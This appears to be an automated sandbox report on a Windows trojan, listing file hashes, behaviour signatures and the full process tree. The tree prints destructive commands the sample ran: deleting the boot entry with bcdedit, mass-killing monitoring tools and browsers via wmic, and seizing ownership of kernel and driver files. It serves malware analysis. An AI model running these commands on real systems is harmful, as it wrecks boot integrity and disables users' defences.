Analysis

  • max time kernel
    97s
  • max time network
    19s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    02-03-2024 23:32

General

  • Target

    Trojan/0x07.exe

  • Size

    247KB

  • MD5

    733eb0ab951ae42a8d8cca413201e428

  • SHA1

    640ffb3ee44eb86afaea92e6c5aa158a5d4aafd1

  • SHA256

    52d6d769eb474d4138ac31e05634a6ca7a4ebef5920f8356c1cd70d9fa42c2fb

  • SHA512

    c7cdf77aa881c5dbb2abf17913dbf645fe88e16fa11fa055392d36ccf936fc43050c48feb631e193fe044123a190f123d2d6ff12234c0ff7c8c7c6e290209d8f

  • SSDEEP

    3072:xaWEHnqlm+0FEaJSq6+ouCpk2mpcWJ0r+QNTBfZnazJ9k3kxMC+89+aPyXiwQ9M1:cWCMm8aMldk1cWQRNTBhz3Yz/qc9M1

Malware Config

Signatures

  • Possible privilege escalation attempt 25 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 1 IoCs
  • Modifies file permissions 1 TTPs 25 IoCs
  • Modifies boot configuration data using bcdedit 1 IoCs
  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe
    "C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe"
    1⤵
    • Loads dropped DLL
    • Writes to the Master Boot Record (MBR)
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of WriteProcessMemory
    PID:812
    • C:\Windows\Temp\winconfig.exe
      "C:\Windows\Temp\winconfig.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2256
      • C:\Windows\system32\cmd.exe
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\8A84.tmp\8A85.tmp\8A86.bat C:\Windows\Temp\winconfig.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2076
        • C:\Users\Admin\AppData\Roaming\DetectKey.exe
          "C:\Users\Admin\AppData\Roaming\DetectKey.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: CmdExeWriteProcessMemorySpam
          PID:2652
        • C:\Windows\system32\bcdedit.exe
          bcdedit /delete {current}
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:2708
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic process where name='taskmgr.exe' delete /nointeractive
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2692
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic process where name='perfmon.exe' delete /nointeractive
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2412
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic process where name='mmc.exe' delete /nointeractive
          4⤵
            PID:2492
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic process where name='PartAssist.exe' delete /nointeractive
            4⤵
              PID:2972
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic process where name='control.exe' delete /nointeractive
              4⤵
                PID:2400
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic process where name='ProcessHacker.exe' delete /nointeractive
                4⤵
                  PID:2596
                • C:\Windows\System32\Wbem\WMIC.exe
                  wmic process where name='Security Task Manager.exe' delete /nointeractive
                  4⤵
                    PID:2868
                  • C:\Windows\System32\Wbem\WMIC.exe
                    wmic process where name='Security Task Manager Protable.exe' delete /nointeractive
                    4⤵
                      PID:2964
                    • C:\Windows\System32\Wbem\WMIC.exe
                      wmic process where name='CCleaner.exe' delete /nointeractive
                      4⤵
                        PID:2032
                      • C:\Windows\System32\Wbem\WMIC.exe
                        wmic process where name='procexp.exe' delete /nointeractive
                        4⤵
                          PID:2784
                        • C:\Windows\System32\Wbem\WMIC.exe
                          wmic process where name='procexp64.exe' delete /nointeractive
                          4⤵
                            PID:2332
                          • C:\Windows\System32\Wbem\WMIC.exe
                            wmic process where name='procexp64a.exe' delete /nointeractive
                            4⤵
                              PID:1744
                            • C:\Windows\System32\Wbem\WMIC.exe
                              wmic process where name='logonui.exe' delete /nointeractive
                              4⤵
                                PID:2404
                              • C:\Windows\System32\Wbem\WMIC.exe
                                wmic process where name='regedit.exe' delete /nointeractive
                                4⤵
                                  PID:2800
                                • C:\Windows\System32\Wbem\WMIC.exe
                                  wmic process where name='iexplore.exe' delete /nointeractive
                                  4⤵
                                    PID:700
                                  • C:\Windows\System32\Wbem\WMIC.exe
                                    wmic process where name='chrome.exe' delete /nointeractive
                                    4⤵
                                      PID:552
                                    • C:\Windows\System32\Wbem\WMIC.exe
                                      wmic process where name='firefox.exe' delete /nointeractive
                                      4⤵
                                        PID:2764
                                      • C:\Windows\System32\Wbem\WMIC.exe
                                        wmic process where name='opera.exe' delete /nointeractive
                                        4⤵
                                          PID:2668
                                        • C:\Windows\System32\Wbem\WMIC.exe
                                          wmic process where name='edge.exe' delete /nointeractive
                                          4⤵
                                            PID:1528
                                          • C:\Windows\System32\Wbem\WMIC.exe
                                            wmic process where name='msedge.exe' delete /nointeractive
                                            4⤵
                                              PID:1628
                                            • C:\Windows\System32\Wbem\WMIC.exe
                                              wmic process where name='brave.exe' delete /nointeractive
                                              4⤵
                                                PID:1712
                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                wmic process where name='wmplayer.exe' delete /nointeractive
                                                4⤵
                                                  PID:2304
                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                  wmic process where name='notepad.exe' delete /nointeractive
                                                  4⤵
                                                    PID:544
                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                    wmic process where name='notepad++.exe' delete /nointeractive
                                                    4⤵
                                                      PID:2068
                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                      wmic process where name='taskmgr.exe' delete /nointeractive
                                                      4⤵
                                                        PID:2116
                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                        wmic process where name='perfmon.exe' delete /nointeractive
                                                        4⤵
                                                          PID:2280
                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                          wmic process where name='logonui.exe' delete /nointeractive
                                                          4⤵
                                                            PID:1156
                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                            wmic process where name='ProcessHacker.exe' delete /nointeractive
                                                            4⤵
                                                              PID:1312
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\taskmgr.exe"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:1056
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\hal.dll"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:2324
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\winload.exe"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:1876
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\ntoskrnl.exe"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:1960
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\perfmon.exe"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:1792
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\resmon.exe"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:1068
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\logonui.exe
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:1820
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\taskkill.exe"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:988
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\tasklist.exe"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:2240
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\tskill.exe"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:1280
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\logonui.exe"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:764
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Program Files\Process Hacker 2"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:1824
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\System32\drivers"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:1656
                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                              wmic process where name='taskmgr.exe' delete /nointeractive
                                                              4⤵
                                                                PID:1660
                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                wmic process where name='perfmon.exe' delete /nointeractive
                                                                4⤵
                                                                  PID:1012
                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                  wmic process where name='logonui.exe' delete /nointeractive
                                                                  4⤵
                                                                    PID:612
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic process where name='ProcessHacker.exe' delete /nointeractive
                                                                    4⤵
                                                                      PID:1216
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\system32\taskmgr.exe" /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:2212
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\system32\hal.dll" /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:560
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\system32\winload.exe" /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:1320
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\system32\ntoskrnl.exe" /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:2936
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\system32\perfmon.exe" /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:1916
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\system32\logonui.exe" /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:860
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\system32\resmon.exe" /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:1756
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\system32\taskkill.exe" /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:880
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\system32\tasklist.exe" /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:2940
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\system32\tskill.exe" /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:2384
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Program Files\Process Hacker 2" /q /c /t /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:2340
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\System32\drivers" /q /c /t /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:296
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic process where name='taskmgr.exe' delete /nointeractive
                                                                      4⤵
                                                                        PID:1604
                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                        wmic process where name='perfmon.exe' delete /nointeractive
                                                                        4⤵
                                                                          PID:2096
                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                          wmic process where name='logonui.exe' delete /nointeractive
                                                                          4⤵
                                                                            PID:2988
                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                            wmic process where name='ProcessHacker.exe' delete /nointeractive
                                                                            4⤵
                                                                              PID:2620
                                                                            • C:\Windows\system32\cmd.exe
                                                                              C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                              4⤵
                                                                                PID:2712
                                                                              • C:\Windows\system32\cacls.exe
                                                                                cacls "C:\Windows\system32\taskmgr.exe" /grant "everyone":F
                                                                                4⤵
                                                                                  PID:2636
                                                                                • C:\Windows\system32\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                                  4⤵
                                                                                    PID:2508
                                                                                  • C:\Windows\system32\cacls.exe
                                                                                    cacls "C:\Windows\system32\hal.dll" /grant "everyone":F
                                                                                    4⤵
                                                                                      PID:2420
                                                                                    • C:\Windows\system32\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                                      4⤵
                                                                                        PID:2516
                                                                                      • C:\Windows\system32\cacls.exe
                                                                                        cacls "C:\Windows\system32\ntoskrnl.exe" /grant "everyone":F
                                                                                        4⤵
                                                                                          PID:2864
                                                                                        • C:\Windows\system32\cmd.exe
                                                                                          C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                                          4⤵
                                                                                            PID:2448
                                                                                          • C:\Windows\system32\cacls.exe
                                                                                            cacls "C:\Windows\system32\perfmon.exe" /grant "everyone":F
                                                                                            4⤵
                                                                                              PID:2464
                                                                                            • C:\Windows\system32\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                                              4⤵
                                                                                                PID:2428
                                                                                              • C:\Windows\system32\cacls.exe
                                                                                                cacls "C:\Windows\system32\logonui.exe" /grant "everyone":F
                                                                                                4⤵
                                                                                                  PID:2968
                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                  C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                                                  4⤵
                                                                                                    PID:1784
                                                                                                  • C:\Windows\system32\cacls.exe
                                                                                                    cacls "C:\Windows\system32\resmon.exe" /grant "everyone":F
                                                                                                    4⤵
                                                                                                      PID:1088
                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                      C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                                                      4⤵
                                                                                                        PID:2980
                                                                                                      • C:\Windows\system32\cacls.exe
                                                                                                        cacls "C:\Windows\system32\taskkill.exe" /grant "everyone":F
                                                                                                        4⤵
                                                                                                          PID:1204
                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                          C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                                                          4⤵
                                                                                                            PID:2136
                                                                                                          • C:\Windows\system32\cacls.exe
                                                                                                            cacls "C:\Windows\system32\tasklist.exe" /grant "everyone":F
                                                                                                            4⤵
                                                                                                              PID:2972
                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                              C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                                                              4⤵
                                                                                                                PID:752
                                                                                                              • C:\Windows\system32\cacls.exe
                                                                                                                cacls "C:\Windows\system32\tskill.exe" /grant "everyone":F
                                                                                                                4⤵
                                                                                                                  PID:292
                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                                                                  4⤵
                                                                                                                    PID:2400
                                                                                                                  • C:\Windows\system32\cacls.exe
                                                                                                                    cacls "C:\Program Files\Process Hacker 2" /grant "everyone":F
                                                                                                                    4⤵
                                                                                                                      PID:2844
                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                      C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                                                                      4⤵
                                                                                                                        PID:2828
                                                                                                                      • C:\Windows\system32\cacls.exe
                                                                                                                        cacls "C:\Windows\System32\drivers" /grant "everyone":F
                                                                                                                        4⤵
                                                                                                                          PID:2816
                                                                                                                  • C:\Windows\system32\wbem\WMIADAP.EXE
                                                                                                                    wmiadap.exe /F /T
                                                                                                                    1⤵
                                                                                                                      PID:2860

                                                                                                                    Network

                                                                                                                    MITRE ATT&CK Enterprise v15

                                                                                                                    Replay Monitor

                                                                                                                    Loading Replay Monitor...

                                                                                                                    Downloads

                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\8A84.tmp\8A85.tmp\8A86.bat

                                                                                                                      Filesize

                                                                                                                      5KB

                                                                                                                      MD5

                                                                                                                      a645734f3bf4a2682cbaf546789ec0c4

                                                                                                                      SHA1

                                                                                                                      fafcc11909412bf51f217e12dfaa93a15181a3e2

                                                                                                                      SHA256

                                                                                                                      3b9b5b1659a881d15962541fb56638379a6e5b5d02435f8c50574ec003bc64b0

                                                                                                                      SHA512

                                                                                                                      efa399503b982eda2058a70b10289275fe3c51280bdbb649be40cc3f17c6085267236dc0f6f8bbbf782105e6f5510e6dbbd97de8e87113abc1d8c340ccad9a6d

                                                                                                                    • C:\Users\Admin\AppData\Roaming\DetectKey.exe

                                                                                                                      Filesize

                                                                                                                      87KB

                                                                                                                      MD5

                                                                                                                      aba9a3cf4e1db4602c25405987b809a6

                                                                                                                      SHA1

                                                                                                                      6cd545ea023ce9cdfe76607c6801cc11ff7d9e80

                                                                                                                      SHA256

                                                                                                                      490df924cadff4806ad1c1a261c71f7e06320826eda532394462e7ee32c570d6

                                                                                                                      SHA512

                                                                                                                      e5a9e28549bab93f5cf2464707b3b46859271dea16f69e8757b00f79989b2665d3b9bc3d9794d1d9e1111f8ee03ecb933f1fadfcd2adeb695dc0fce0b8f90675

                                                                                                                    • \Windows\Temp\winconfig.exe

                                                                                                                      Filesize

                                                                                                                      139KB

                                                                                                                      MD5

                                                                                                                      11d457ee914f72a436fa4a8a8f8446dd

                                                                                                                      SHA1

                                                                                                                      d0308ca82ed9716b667e8e77e9ae013b9af44116

                                                                                                                      SHA256

                                                                                                                      c55e98b21e7e8639d4a6702de75bccc47b337bc639ea33231a507946f74964ef

                                                                                                                      SHA512

                                                                                                                      4c861cb0fa7170d6c71e11b3a826d1802ff0f9d029cfefa7428655929d5bab4bf56abeeb963e4927def3e959f2d4a0f199c8c3bf3ecbef8885189a52eeef666b